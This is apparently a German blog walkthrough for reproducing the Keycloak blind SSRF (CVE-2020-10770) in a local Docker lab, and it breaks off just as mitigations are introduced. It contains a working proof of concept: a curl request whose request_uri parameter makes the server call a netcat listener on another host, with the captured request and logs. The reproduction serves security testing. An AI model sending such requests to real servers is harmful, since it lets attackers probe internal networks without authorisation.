
Schritt-für-Schritt-Anleitung zur Reproduktion der Keycloak-Blind-SSRF-Schwachstelle (CVE-2020-10770) mit Docker-Setup, Listener-Konfiguration und Empfehlungen zur Schadensbegrenzung.
Dies ist eine Schritt-für-Schritt-Anleitung, wie man die Blind SSRF (CVE-2020-10770) testet, die von Lauritz Holtmann gefunden und in seinem Blogbeitrag dokumentiert wurde.
Er hat auch kurz erklärt, wie man sie testet. Dies ist nur eine detailliertere Erklärung.
Alle Credits gehen an Lauritz.
Ich verwende hier Docker auf Mac OSX.
Ich benötigte drei Shells, eine für die Keycloak-Instanz, eine für den Listener und eine für die curl-Anfrage.
Du benötigst eine laufende Keycloak-Instanz mit einer Version <= 12.0.1.
Du kannst eine Testinstanz mit dem folgenden Befehl starten.
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
Besuche http://localhost:8080/auth/admin/ in einem Browser und melde dich mit dem Benutzernamen "admin" und dem Passwort "admin" an.
Wechsle auf der linken Seite zum Menü "Clients". Dies bringt dich zur Clients-Übersicht.

Klicke auf der rechten Seite auf "Create", um einen neuen Client zu erstellen. Dies bringt dich zur Client-Erstellungsseite.

Wähle eine sinnvolle "Client ID" für deinen Oauth2-Client. Ich verwende hier "blueteamoauth2client" (dies ist deine <Keycloak_Client_ID>). Wenn du eine andere Client ID verwendest, musst du einen Abfrageparameter in der Angriffs-HTTP-Anfrage ändern. Klicke auf Speichern, um die Client-Einrichtung abzuschließen.

Du siehst nun die Einstellungen unseres neuen Oauth2-Clients.

Das ist alles für den verteidigenden Teil.
Du benötigst einen Listener, der die Anfrage akzeptiert, die wir mit unserer SSRF auslösen wollen. Die IP und der Port müssen also vom Keycloak-Server aus erreichbar sein.
Du kannst in diesem Fall kein localhost verwenden, da aus Keycloaks Sicht localhost im Container selbst liegt.
Um die IP-Adresse unter Mac OS abzurufen, kannst du Folgendes verwenden
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
Ich habe mich entschieden, den Listener auf meinem Hostsystem auf Port 4444 zu starten.
nc -v -l 4444
In einer anderen Shell musst du eine Anfrage mit curl durchführen. Du musst diese an deine Anforderungen anpassen.
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
Die wichtigen Teile sind:
Die Abfrage lautet in meinem Fall also
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
Im Netcat-Listener wirst du so etwas sehen.
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
Das bedeutet, dass die Keycloak-Instanz einen HTTP-Aufruf an deinen Listener durchgeführt hat.
Es wird auch Einträge darüber in den Keycloak-Logs geben.
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
Um dies zu entschärfen, könntest du entweder: